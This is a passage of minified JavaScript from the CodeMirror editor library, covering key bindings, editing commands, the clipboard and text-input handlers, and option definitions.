"Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]}};Pb["default"]=ia?Pb.macDefault:Pb.pcDefault;var Qb={selectAll:nf,singleSelection:function(a){return a.setSelection(a.getCursor("anchor"),a.getCursor("head"),qa)},killLine:function(a){return nb(a,function(b){if(b.empty()){var c=
u(a.doc,b.head.line).text.length;return b.head.ch==c&&b.head.line<a.lastLine()?{from:b.head,to:r(b.head.line+1,0)}:{from:b.head,to:r(b.head.line,c)}}return{from:b.from(),to:b.to()}})},deleteLine:function(a){return nb(a,function(b){return{from:r(b.from().line,0),to:x(a.doc,r(b.to().line+1,0))}})},delLineLeft:function(a){return nb(a,function(a){return{from:r(a.from().line,0),to:a.from()}})},delWrappedLineLeft:function(a){return nb(a,function(b){var c=a.charCoords(b.head,"div").top+5;return{from:a.coordsChar({left:0,
top:c},"div"),to:b.from()}})},delWrappedLineRight:function(a){return nb(a,function(b){var c=a.charCoords(b.head,"div").top+5,c=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div");return{from:b.from(),to:c}})},undo:function(a){return a.undo()},redo:function(a){return a.redo()},undoSelection:function(a){return a.undoSelection()},redoSelection:function(a){return a.redoSelection()},goDocStart:function(a){return a.extendSelection(r(a.firstLine(),0))},goDocEnd:function(a){return a.extendSelection(r(a.lastLine()))},
goLineStart:function(a){return a.extendSelectionsBy(function(b){return Ef(a,b.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(a){return a.extendSelectionsBy(function(b){return Ff(a,b.head)},{origin:"+move",bias:1})},goLineEnd:function(a){return a.extendSelectionsBy(function(b){b=b.head.line;var c=u(a.doc,b);var d=c;for(var e;e=Ja(d,!1);)d=e.find(1,!0).line;d!=c&&(b=E(d));return $c(!0,a,c,b,-1)},{origin:"+move",bias:-1})},goLineRight:function(a){return a.extendSelectionsBy(function(b){b=
a.cursorCoords(b.head,"div").top+5;return a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:b},"div")},Zb)},goLineLeft:function(a){return a.extendSelectionsBy(function(b){b=a.cursorCoords(b.head,"div").top+5;return a.coordsChar({left:0,top:b},"div")},Zb)},goLineLeftSmart:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,"div").top+5,c=a.coordsChar({left:0,top:c},"div");return c.ch<a.getLine(c.line).search(/\S/)?Ff(a,b.head):c},Zb)},goLineUp:function(a){return a.moveV(-1,
"line")},goLineDown:function(a){return a.moveV(1,"line")},goPageUp:function(a){return a.moveV(-1,"page")},goPageDown:function(a){return a.moveV(1,"page")},goCharLeft:function(a){return a.moveH(-1,"char")},goCharRight:function(a){return a.moveH(1,"char")},goColumnLeft:function(a){return a.moveH(-1,"column")},goColumnRight:function(a){return a.moveH(1,"column")},goWordLeft:function(a){return a.moveH(-1,"word")},goGroupRight:function(a){return a.moveH(1,"group")},goGroupLeft:function(a){return a.moveH(-1,
"group")},goWordRight:function(a){return a.moveH(1,"word")},delCharBefore:function(a){return a.deleteH(-1,"char")},delCharAfter:function(a){return a.deleteH(1,"char")},delWordBefore:function(a){return a.deleteH(-1,"word")},delWordAfter:function(a){return a.deleteH(1,"word")},delGroupBefore:function(a){return a.deleteH(-1,"group")},delGroupAfter:function(a){return a.deleteH(1,"group")},indentAuto:function(a){return a.indentSelection("smart")},indentMore:function(a){return a.indentSelection("add")},
indentLess:function(a){return a.indentSelection("subtract")},insertTab:function(a){return a.replaceSelection("\t")},insertSoftTab:function(a){for(var b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e<c.length;e++){var f=c[e].from(),f=fa(a.getLine(f.line),f.ch,d);b.push(Mc(d-f%d))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.execCommand("insertTab")},transposeChars:function(a){return aa(a,function(){for(var b=a.listSelections(),c=[],d=0;d<b.length;d++)if(b[d].empty()){var e=
b[d].head,f=u(a.doc,e.line).text;if(f)if(e.ch==f.length&&(e=new r(e.line,e.ch-1)),0<e.ch)e=new r(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),r(e.line,e.ch-2),e,"+transpose");else if(e.line>a.doc.first){var g=u(a.doc,e.line-1).text;g&&(e=new r(e.line,1),a.replaceRange(f.charAt(0)+a.doc.lineSeparator()+g.charAt(g.length-1),r(e.line-1,g.length-1),e,"+transpose"))}c.push(new C(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){return aa(a,function(){for(var b=a.listSelections(),
c=b.length-1;0<=c;c--)a.replaceRange(a.doc.lineSeparator(),b[c].anchor,b[c].head,"+input");b=a.listSelections();for(c=0;c<b.length;c++)a.indentLine(b[c].from().line,null,!0);eb(a)})},openLine:function(a){return a.replaceSelection("\n","start")},toggleOverwrite:function(a){return a.toggleOverwrite()}},Og=new Xa,Hd=null,Id=function(a,b,c){this.time=a;this.pos=b;this.button=c};Id.prototype.compare=function(a,b,c){return this.time+400>a&&0==A(b,this.pos)&&c==this.button};var Tb,Sb,ob={toString:function(){return"CodeMirror.Init"}},
Of={},Gc={};G.defaults=Of;G.optionHandlers=Gc;var Md=[];G.defineInitHook=function(a){return Md.push(a)};var ba=null,z=function(a){this.cm=a;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new Xa;this.composing=null;this.gracePeriod=!1;this.readDOMTimeout=null};z.prototype.init=function(a){function b(a){if(!N(e,a)){if(e.somethingSelected())ba={lineWise:!1,text:e.getSelections()},"cut"==a.type&&e.replaceSelection("",null,"cut");else if(e.options.lineWiseCopyCut){var b=
Tf(e);ba={lineWise:!0,text:b.text};"cut"==a.type&&e.operation(function(){e.setSelections(b.ranges,0,qa);e.replaceSelection("",null,"cut")})}else return;if(a.clipboardData){a.clipboardData.clearData();var c=ba.text.join("\n");a.clipboardData.setData("Text",c);if(a.clipboardData.getData("Text")==c){a.preventDefault();return}}var g=Vf();a=g.firstChild;e.display.lineSpace.insertBefore(g,e.display.lineSpace.firstChild);a.value=ba.text.join("\n");var m=document.activeElement;Yb(a);setTimeout(function(){e.display.lineSpace.removeChild(g);
m.focus();m==f&&d.showPrimarySelection()},50)}}var c=this,d=this,e=d.cm,f=d.div=a.lineDiv;Uf(f,e.options.spellcheck);v(f,"paste",function(a){N(e,a)||Sf(a,e)||11>=B&&setTimeout(O(e,function(){return c.updateFromDOM()}),20)});v(f,"compositionstart",function(a){c.composing={data:a.data,done:!1}});v(f,"compositionupdate",function(a){c.composing||(c.composing={data:a.data,done:!1})});v(f,"compositionend",function(a){c.composing&&(a.data!=c.composing.data&&c.readFromDOMSoon(),c.composing.done=!0)});v(f,
"touchstart",function(){return d.forceCompositionEnd()});v(f,"input",function(){c.composing||c.readFromDOMSoon()});v(f,"copy",b);v(f,"cut",b)};z.prototype.prepareSelection=function(){var a=He(this.cm,!1);a.focus=this.cm.state.focused;return a};z.prototype.showSelection=function(a,b){a&&this.cm.display.view.length&&((a.focus||b)&&this.showPrimarySelection(),this.showMultipleSelections(a))};z.prototype.showPrimarySelection=function(){var a=window.getSelection(),b=this.cm,c=b.doc.sel.primary(),d=c.from(),
c=c.to();if(b.display.viewTo==b.display.viewFrom||d.line>=b.display.viewTo||c.line<b.display.viewFrom)a.removeAllRanges();else{var e=Hc(b,a.anchorNode,a.anchorOffset),f=Hc(b,a.focusNode,a.focusOffset);if(!e||e.bad||!f||f.bad||0!=A(ic(e,f),d)||0!=A(hc(e,f),c))if(e=b.display.view,d=d.line>=b.display.viewFrom&&Xf(b,d)||{node:e[0].measure.map[2],offset:0},c=c.line<b.display.viewTo&&Xf(b,c),c||(c=e[e.length-1].measure,c=c.maps?c.maps[c.maps.length-1]:c.map,c={node:c[c.length-1],offset:c[c.length-2]-c[c.length-
3]}),d&&c){var e=a.rangeCount&&a.getRangeAt(0);try{var g=wb(d.node,d.offset,c.offset,c.node)}catch(h){}g&&(!xa&&b.state.focused?(a.collapse(d.node,d.offset),g.collapsed||(a.removeAllRanges(),a.addRange(g))):(a.removeAllRanges(),a.addRange(g)),e&&null==a.anchorNode?a.addRange(e):xa&&this.startGracePeriod());this.rememberSelection()}else a.removeAllRanges()}};z.prototype.startGracePeriod=function(){var a=this;clearTimeout(this.gracePeriod);this.gracePeriod=setTimeout(function(){a.gracePeriod=!1;a.selectionChanged()&&
a.cm.operation(function(){return a.cm.curOp.selectionChanged=!0})},20)};z.prototype.showMultipleSelections=function(a){F(this.cm.display.cursorDiv,a.cursors);F(this.cm.display.selectionDiv,a.selection)};z.prototype.rememberSelection=function(){var a=window.getSelection();this.lastAnchorNode=a.anchorNode;this.lastAnchorOffset=a.anchorOffset;this.lastFocusNode=a.focusNode;this.lastFocusOffset=a.focusOffset};z.prototype.selectionInEditor=function(){var a=window.getSelection();if(!a.rangeCount)return!1;
a=a.getRangeAt(0).commonAncestorContainer;return ha(this.div,a)};z.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()||this.showSelection(this.prepareSelection(),!0),this.div.focus())};z.prototype.blur=function(){this.div.blur()};z.prototype.getField=function(){return this.div};z.prototype.supportsTouch=function(){return!0};z.prototype.receivedFocus=function(){function a(){b.cm.state.focused&&(b.pollSelection(),b.polling.set(b.cm.options.pollInterval,a))}var b=
this;this.selectionInEditor()?this.pollSelection():aa(this.cm,function(){return b.cm.curOp.selectionChanged=!0});this.polling.set(this.cm.options.pollInterval,a)};z.prototype.selectionChanged=function(){var a=window.getSelection();return a.anchorNode!=this.lastAnchorNode||a.anchorOffset!=this.lastAnchorOffset||a.focusNode!=this.lastFocusNode||a.focusOffset!=this.lastFocusOffset};z.prototype.pollSelection=function(){if(null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()){var a=window.getSelection(),
b=this.cm;if(qc&&pc&&this.cm.options.gutters.length&&bh(a.anchorNode))this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),this.focus();else if(!this.composing){this.rememberSelection();var c=Hc(b,a.anchorNode,a.anchorOffset),d=Hc(b,a.focusNode,a.focusOffset);c&&d&&aa(b,function(){S(b.doc,wa(c,d),qa);if(c.bad||d.bad)b.curOp.selectionChanged=!0})}}};z.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=
null);var a=this.cm,b=a.display,c=a.doc.sel.primary(),d=c.from(),e=c.to();0==d.ch&&d.line>a.firstLine()&&(d=r(d.line-1,u(a.doc,d.line-1).length));e.ch==u(a.doc,e.line).text.length&&e.line<a.lastLine()&&(e=r(e.line+1,0));if(d.line<b.viewFrom||e.line>b.viewTo-1)return!1;var f;d.line==b.viewFrom||0==(f=Oa(a,d.line))?(c=E(b.view[0].line),f=b.view[0].node):(c=E(b.view[f].line),f=b.view[f-1].node.nextSibling);var g=Oa(a,e.line);g==b.view.length-1?(e=b.viewTo-1,b=b.lineDiv.lastChild):(e=E(b.view[g+1].line)-
1,b=b.view[g+1].node.previousSibling);if(!f)return!1;b=a.doc.splitLines(ch(a,f,b,c,e));for(f=Ha(a.doc,r(c,0),r(e,u(a.doc,e).text.length));1<b.length&&1<f.length;)if(y(b)==y(f))b.pop(),f.pop(),e--;else if(b[0]==f[0])b.shift(),f.shift(),c++;else break;for(var h=0,g=0,k=b[0],l=f[0],m=Math.min(k.length,l.length);h<m&&k.charCodeAt(h)==l.charCodeAt(h);)++h;k=y(b);l=y(f);for(m=Math.min(k.length-(1==b.length?h:0),l.length-(1==f.length?h:0));g<m&&k.charCodeAt(k.length-g-1)==l.charCodeAt(l.length-g-1);)++g;
if(1==b.length&&1==f.length&&c==d.line)for(;h&&h>d.ch&&k.charCodeAt(k.length-g-1)==l.charCodeAt(l.length-g-1);)h--,g++;b[b.length-1]=k.slice(0,k.length-g).replace(/^\u200b+/,"");b[0]=b[0].slice(h).replace(/\u200b+$/,"");d=r(c,h);c=r(e,f.length?y(f).length-g:0);if(1<b.length||b[0]||A(d,c))return kb(a.doc,b,d,c,"+input"),!0};z.prototype.ensurePolled=function(){this.forceCompositionEnd()};z.prototype.reset=function(){this.forceCompositionEnd()};z.prototype.forceCompositionEnd=function(){this.composing&&
(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())};z.prototype.readFromDOMSoon=function(){var a=this;null==this.readDOMTimeout&&(this.readDOMTimeout=setTimeout(function(){a.readDOMTimeout=null;if(a.composing)if(a.composing.done)a.composing=null;else return;a.updateFromDOM()},80))};z.prototype.updateFromDOM=function(){var a=this;!this.cm.isReadOnly()&&this.pollContent()||aa(this.cm,function(){return Y(a.cm)})};z.prototype.setUneditable=function(a){a.contentEditable=
"false"};z.prototype.onKeyPress=function(a){0!=a.charCode&&(a.preventDefault(),this.cm.isReadOnly()||O(this.cm,Nd)(this.cm,String.fromCharCode(null==a.charCode?a.keyCode:a.charCode),0))};z.prototype.readOnlyChanged=function(a){this.div.contentEditable=String("nocursor"!=a)};z.prototype.onContextMenu=function(){};z.prototype.resetPosition=function(){};z.prototype.needsContentAttribute=!0;var M=function(a){this.cm=a;this.prevInput="";this.pollingFast=!1;this.polling=new Xa;this.hasSelection=!1;this.composing=
null};M.prototype.init=function(a){function b(a){if(!N(e,a)){if(e.somethingSelected())ba={lineWise:!1,text:e.getSelections()};else if(e.options.lineWiseCopyCut){var b=Tf(e);ba={lineWise:!0,text:b.text};"cut"==a.type?e.setSelections(b.ranges,null,qa):(d.prevInput="",g.value=b.text.join("\n"),Yb(g))}else return;"cut"==a.type&&(e.state.cutIncoming=!0)}}var c=this,d=this,e=this.cm,f=this.wrapper=Vf(),g=this.textarea=f.firstChild;a.wrapper.insertBefore(f,a.wrapper.firstChild);Wb&&(g.style.width="0px");
v(g,"input",function(){D&&9<=B&&c.hasSelection&&(c.hasSelection=null);d.poll()});v(g,"paste",function(a){N(e,a)||Sf(a,e)||(e.state.pasteIncoming=!0,d.fastPoll())});v(g,"cut",b);v(g,"copy",b);v(a.scroller,"paste",function(b){va(a,b)||N(e,b)||(e.state.pasteIncoming=!0,d.focus())});v(a.lineSpace,"selectstart",function(b){va(a,b)||V(b)});v(g,"compositionstart",function(){var a=e.getCursor("from");d.composing&&d.composing.range.clear();d.composing={start:a,range:e.markText(a,e.getCursor("to"),{className:"CodeMirror-composing"})}});
v(g,"compositionend",function(){d.composing&&(d.poll(),d.composing.range.clear(),d.composing=null)})};M.prototype.prepareSelection=function(){var a=this.cm,b=a.display,c=a.doc,d=He(a);if(a.options.moveInputWithCursor){var a=ja(a,c.sel.primary().head,"div"),c=b.wrapper.getBoundingClientRect(),e=b.lineDiv.getBoundingClientRect();d.teTop=Math.max(0,Math.min(b.wrapper.clientHeight-10,a.top+e.top-c.top));d.teLeft=Math.max(0,Math.min(b.wrapper.clientWidth-10,a.left+e.left-c.left))}return d};M.prototype.showSelection=
function(a){var b=this.cm.display;F(b.cursorDiv,a.cursors);F(b.selectionDiv,a.selection);null!=a.teTop&&(this.wrapper.style.top=a.teTop+"px",this.wrapper.style.left=a.teLeft+"px")};M.prototype.reset=function(a){if(!this.contextMenuPending&&!this.composing){var b=this.cm;b.somethingSelected()?(this.prevInput="",a=b.getSelection(),this.textarea.value=a,b.state.focused&&Yb(this.textarea),D&&9<=B&&(this.hasSelection=a)):a||(this.prevInput=this.textarea.value="",D&&9<=B&&(this.hasSelection=null))}};M.prototype.getField=
function(){return this.textarea};M.prototype.supportsTouch=function(){return!1};M.prototype.focus=function(){if("nocursor"!=this.cm.options.readOnly&&(!qb||ra()!=this.textarea))try{this.textarea.focus()}catch(a){}};M.prototype.blur=function(){this.textarea.blur()};M.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0};M.prototype.receivedFocus=function(){this.slowPoll()};M.prototype.slowPoll=function(){var a=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,
function(){a.poll();a.cm.state.focused&&a.slowPoll()})};M.prototype.fastPoll=function(){function a(){c.poll()||b?(c.pollingFast=!1,c.slowPoll()):(b=!0,c.polling.set(60,a))}var b=!1,c=this;c.pollingFast=!0;c.polling.set(20,a)};M.prototype.poll=function(){var a=this,b=this.cm,c=this.textarea,d=this.prevInput;if(this.contextMenuPending||!b.state.focused||hh(c)&&!d&&!this.composing||b.isReadOnly()||b.options.disableInput||b.state.keySeq)return!1;var e=c.value;if(e==d&&!b.somethingSelected())return!1;
if(D&&9<=B&&this.hasSelection===e||ia&&/[\uf700-\uf7ff]/.test(e))return b.display.input.reset(),!1;if(b.doc.sel==b.display.selForContextMenu){var f=e.charCodeAt(0);8203!=f||d||(d="\u200b");if(8666==f)return this.reset(),this.cm.execCommand("undo")}for(var g=0,f=Math.min(d.length,e.length);g<f&&d.charCodeAt(g)==e.charCodeAt(g);)++g;aa(b,function(){Nd(b,e.slice(g),d.length-g,null,a.composing?"*compose":null);1E3<e.length||-1<e.indexOf("\n")?c.value=a.prevInput="":a.prevInput=e;a.composing&&(a.composing.range.clear(),
a.composing.range=b.markText(a.composing.start,b.getCursor("to"),{className:"CodeMirror-composing"}))});return!0};M.prototype.ensurePolled=function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)};M.prototype.onKeyPress=function(){D&&9<=B&&(this.hasSelection=null);this.fastPoll()};M.prototype.onContextMenu=function(a){function b(){if(null!=g.selectionStart){var a=e.somethingSelected(),b="\u200b"+(a?g.value:"");g.value="\u21da";g.value=b;d.prevInput=a?"":"\u200b";g.selectionStart=1;g.selectionEnd=
b.length;f.selForContextMenu=e.doc.sel}}function c(){d.contextMenuPending=!1;d.wrapper.style.cssText=m;g.style.cssText=l;D&&9>B&&f.scrollbars.setScrollTop(f.scroller.scrollTop=k);if(null!=g.selectionStart){(!D||D&&9>B)&&b();var a=0,c=function(){f.selForContextMenu==e.doc.sel&&0==g.selectionStart&&0<g.selectionEnd&&"\u200b"==d.prevInput?O(e,nf)(e):10>a++?f.detectingSelectAll=setTimeout(c,500):(f.selForContextMenu=null,f.input.reset())};f.detectingSelectAll=setTimeout(c,200)}}var d=this,e=d.cm,f=e.display,
g=d.textarea,h=Ra(e,a),k=f.scroller.scrollTop;if(h&&!ka){e.options.resetSelectionOnContextMenu&&-1==e.doc.sel.contains(h)&&O(e,S)(e.doc,wa(h),qa);var l=g.style.cssText,m=d.wrapper.style.cssText;d.wrapper.style.cssText="position: absolute";h=d.wrapper.getBoundingClientRect();g.style.cssText="position: absolute; width: 30px; height: 30px;\n      top: "+(a.clientY-h.top-5)+"px; left: "+(a.clientX-h.left-5)+"px;\n      z-index: 1000; background: "+(D?"rgba(255, 255, 255, .05)":"transparent")+";\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
if(T)var p=window.scrollY;f.input.focus();T&&window.scrollTo(null,p);f.input.reset();e.somethingSelected()||(g.value=d.prevInput=" ");d.contextMenuPending=!0;f.selForContextMenu=e.doc.sel;clearTimeout(f.detectingSelectAll);D&&9<=B&&b();if(Kd){ub(a);var n=function(){ca(window,"mouseup",n);setTimeout(c,20)};v(window,"mouseup",n)}else setTimeout(c,50)}};M.prototype.readOnlyChanged=function(a){a||this.reset();this.textarea.disabled="nocursor"==a};M.prototype.setUneditable=function(){};M.prototype.needsContentAttribute=
!1;(function(a){function b(b,e,f,g){a.defaults[b]=e;f&&(c[b]=g?function(a,b,d){d!=ob&&f(a,b,d)}:f)}var c=a.optionHandlers;a.defineOption=b;a.Init=ob;b("value","",function(a,b){return a.setValue(b)},!0);b("mode",null,function(a,b){a.doc.modeOption=b;Bd(a)},!0);b("indentUnit",2,Bd,!0);b("indentWithTabs",!1);b("smartIndent",!0);b("tabSize",4,function(a){Ib(a);Bb(a);Y(a)},!0);b("lineSeparator",null,function(a,b){if(a.doc.lineSep=b){var d=[],c=a.doc.first;a.doc.iter(function(a){for(var e=0;;){var f=a.text.indexOf(b,
e);if(-1==f)break;e=f+b.length;d.push(r(c,f))}c++});for(var e=d.length-1;0<=e;e--)kb(a.doc,b,d[e],r(d[e].line,d[e].ch+b.length))}});b("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200f\u2028\u2029\ufeff]/g,function(a,b,c){a.state.specialChars=new RegExp(b.source+(b.test("\t")?"":"|\t"),"g");c!=ob&&a.refresh()});b("specialCharPlaceholder",qg,function(a){return a.refresh()},!0);b("electricChars",!0);b("inputStyle",qb?"contenteditable":"textarea",function(){throw Error("inputStyle can not (yet) be changed in a running editor");
},!0);b("spellcheck",!1,function(a,b){return a.getInputField().spellcheck=b},!0);b("rtlMoveVisually",!gh);b("wholeLineUpdateBefore",!0);b("theme","default",function(a){Nf(a);Ub(a)},!0);b("keyMap","default",function(a,b,c){b=Dc(b);(c=c!=ob&&Dc(c))&&c.detach&&c.detach(a,b);b.attach&&b.attach(a,c||null)});b("extraKeys",null);b("configureMouse",null);b("lineWrapping",!1,$g,!0);b("gutters",[],function(a){zd(a.options);Ub(a)},!0);b("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?pd(a.display)+
"px":"0";a.refresh()},!0);b("coverGutterNextToScrollbar",!1,function(a){return fb(a)},!0);b("scrollbarStyle","native",function(a){Re(a);fb(a);a.display.scrollbars.setScrollTop(a.doc.scrollTop);a.display.scrollbars.setScrollLeft(a.doc.scrollLeft)},!0);b("lineNumbers",!1,function(a){zd(a.options);Ub(a)},!0);b("firstLineNumber",1,Ub,!0);b("lineNumberFormatter",function(a){return a},Ub,!0);b("showCursorWhenSelecting",!1,Cb,!0);b("resetSelectionOnContextMenu",!0);b("lineWiseCopyCut",!0);b("pasteLinesPerSelection",
!0);b("readOnly",!1,function(a,b){"nocursor"==b&&(Db(a),a.display.input.blur());a.display.input.readOnlyChanged(b)});b("disableInput",!1,function(a,b){b||a.display.input.reset()},!0);b("dragDrop",!0,Zg);b("allowDropFileTypes",null);b("cursorBlinkRate",530);b("cursorScrollMargin",0);b("cursorHeight",1,Cb,!0);b("singleCursorHeightPerLine",!0,Cb,!0);b("workTime",100);b("workDelay",100);b("flattenSpans",!0,Ib,!0);b("addModeClass",!1,Ib,!0);b("pollInterval",100);b("undoDepth",200,function(a,b){return a.doc.history.undoDepth=
b});b("historyEventDelay",1250);b("viewportMargin",10,function(a){return a.refresh()},!0);b("maxHighlightLength",1E4,Ib,!0);b("moveInputWithCursor",!0,function(a,b){b||a.display.input.resetPosition()});b("tabindex",null,function(a,b){return a.display.input.getField().tabIndex=b||""});b("autofocus",null);b("direction","ltr",function(a,b){return a.doc.setDirection(b)},!0)})(G);(function(a){var b=a.optionHandlers,c=a.helpers={};a.prototype={constructor:a,focus:function(){window.focus();this.display.input.focus()},
setOption:function(a,c){var d=this.options,e=d[a];if(d[a]!=c||"mode"==a)d[a]=c,b.hasOwnProperty(a)&&O(this,b[a])(this,c,e),J(this,"optionChange",this,a)},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](Dc(a))},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||b[c].name==a)return b.splice(c,1),!0},addOverlay:W(function(b,c){var d=b.token?b:a.getMode(this.options,b);if(d.startState)throw Error("Overlays may not be stateful.");
ag(this.state.overlays,{mode:d,modeSpec:b,opaque:c&&c.opaque,priority:c&&c.priority||0},function(a){return a.priority});this.state.modeGen++;Y(this)}),removeOverlay:W(function(a){for(var b=this.state.overlays,c=0;c<b.length;++c){var d=b[c].modeSpec;if(d==a||"string"==typeof a&&d.name==a){b.splice(c,1);this.state.modeGen++;Y(this);break}}}),indentLine:W(function(a,b,c){"string"!=typeof b&&"number"!=typeof b&&(b=null==b?this.options.smartIndent?"smart":"prev":b?"add":"subtract");rb(this.doc,a)&&Vb(this,
a,b,c)}),indentSelection:W(function(a){for(var b=this.doc.sel.ranges,c=-1,d=0;d<b.length;d++){var h=b[d];if(h.empty())h.head.line>c&&(Vb(this,h.head.line,a,!0),c=h.head.line,d==this.doc.sel.primIndex&&eb(this));else{for(var k=h.from(),h=h.to(),l=Math.max(c,k.line),c=Math.min(this.lastLine(),h.line-(h.ch?0:1))+1,h=l;h<c;++h)Vb(this,h,a);h=this.doc.sel.ranges;0==k.ch&&b.length==h.length&&0<h[d].from().ch&&Fd(this.doc,d,new C(k,h[d].to()),qa)}}}),getTokenAt:function(a,b){return ke(this,a,b)},getLineTokens:function(a,
b){return ke(this,r(a),b,!0)},getTokenTypeAt:function(a){a=x(this.doc,a);var b=ie(this,u(this.doc,a.line)),c=0,d=(b.length-1)/2;a=a.ch;if(0==a)b=b[2];else for(;;){var h=c+d>>1;if((h?b[2*h-1]:0)>=a)d=h;else if(b[2*h+1]<a)c=h+1;else{b=b[2*h+2];break}}c=b?b.indexOf("overlay "):-1;return 0>c?b:0==c?null:b.slice(0,c-1)},getModeAt:function(b){var c=this.doc.mode;return c.innerMode?a.innerMode(c,this.getTokenAt(b).state).mode:c},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,
b){var d=[];if(!c.hasOwnProperty(b))return d;var e=c[b];a=this.getModeAt(a);if("string"==typeof a[b])e[a[b]]&&d.push(e[a[b]]);else if(a[b])for(var h=0;h<a[b].length;h++){var k=e[a[b][h]];k&&d.push(k)}else a.helperType&&e[a.helperType]?d.push(e[a.helperType]):e[a.name]&&d.push(e[a.name]);for(b=0;b<e._global.length;b++)h=e._global[b],h.pred(a,this)&&-1==Q(d,h.val)&&d.push(h.val);return d},getStateAfter:function(a,b){var c=this.doc;a=Math.max(c.first,Math.min(null==a?c.first+c.size-1:a,c.first+c.size-
1));return vb(this,a+1,b).state},cursorCoords:function(a,b){var c=this.doc.sel.primary();a=null==a?c.head:"object"==typeof a?x(this.doc,a):a?c.from():c.to();return ja(this,a,b||"page")},charCoords:function(a,b){return rc(this,x(this.doc,a),b||"page")},coordsChar:function(a,b){a=Ee(this,a,b||"page");return od(this,a.left,a.top)},lineAtHeight:function(a,b){a=Ee(this,{top:a,left:0},b||"page").top;return Ia(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b,c){var d=!1;if("number"==typeof a){var e=
this.doc.first+this.doc.size-1;a<this.doc.first?a=this.doc.first:a>e&&(a=e,d=!0);a=u(this.doc,a)}return La(this,a,{top:0,left:0},b||"page",c||d).top+(d?this.doc.height-oa(a):0)},defaultTextHeight:function(){return Pa(this.display)},defaultCharWidth:function(){return Ab(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,g,h){var d=this.display;a=ja(this,x(this.doc,a));var e=a.bottom,f=a.left;b.style.position="absolute";b.setAttribute("cm-ignore-events",
"true");this.display.input.setUneditable(b);d.sizer.appendChild(b);if("over"==g)e=a.top;else if("above"==g||"near"==g){var p=Math.max(d.wrapper.clientHeight,this.doc.height),n=Math.max(d.sizer.clientWidth,d.lineSpace.clientWidth);("above"==g||a.bottom+b.offsetHeight>p)&&a.top>b.offsetHeight?e=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=p&&(e=a.bottom);f+b.offsetWidth>n&&(f=n-b.offsetWidth)}b.style.top=e+"px";b.style.left=b.style.right="";"right"==h?(f=d.sizer.clientWidth-b.offsetWidth,b.style.right=
"0px"):("left"==h?f=0:"middle"==h&&(f=(d.sizer.clientWidth-b.offsetWidth)/2),b.style.left=f+"px");c&&(a=vd(this,{left:f,top:e,right:f+b.offsetWidth,bottom:e+b.offsetHeight}),null!=a.scrollTop&&Fb(this,a.scrollTop),null!=a.scrollLeft&&Ta(this,a.scrollLeft))},triggerOnKeyDown:W(Hf),triggerOnKeyPress:W(Jf),triggerOnKeyUp:If,triggerOnMouseDown:W(Kf),execCommand:function(a){if(Qb.hasOwnProperty(a))return Qb[a].call(null,this)},triggerElectric:W(function(a){Rf(this,a)}),findPosH:function(a,b,c,g){var d=
1;0>b&&(d=-1,b=-b);a=x(this.doc,a);for(var e=0;e<b&&(a=Pd(this.doc,a,d,c,g),!a.hitSide);++e);return a},moveH:W(function(a,b){var c=this;this.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?Pd(c.doc,d.head,a,b,c.options.rtlMoveVisually):0>a?d.from():d.to()},Zb)}),deleteH:W(function(a,b){var c=this.doc;this.doc.sel.somethingSelected()?c.replaceSelection("",null,"+delete"):nb(this,function(d){var e=Pd(c,d.head,a,b,!1);return 0>a?{from:e,to:d.head}:{from:d.head,to:e}})}),
findPosV:function(a,b,c,g){var d=1;0>b&&(d=-1,b=-b);var e=x(this.doc,a);for(a=0;a<b&&(e=ja(this,e,"div"),null==g?g=e.left:e.left=g,e=Wf(this,e,d,c),!e.hitSide);++a);return e},moveV:W(function(a,b){var c=this,d=this.doc,e=[],k=!this.display.shift&&!d.extend&&d.sel.somethingSelected();d.extendSelectionsBy(function(f){if(k)return 0>a?f.from():f.to();var g=ja(c,f.head,"div");null!=f.goalColumn&&(g.left=f.goalColumn);e.push(g.left);var h=Wf(c,g,a,b);"page"==b&&f==d.sel.primary()&&tc(c,rc(c,h,"div").top-
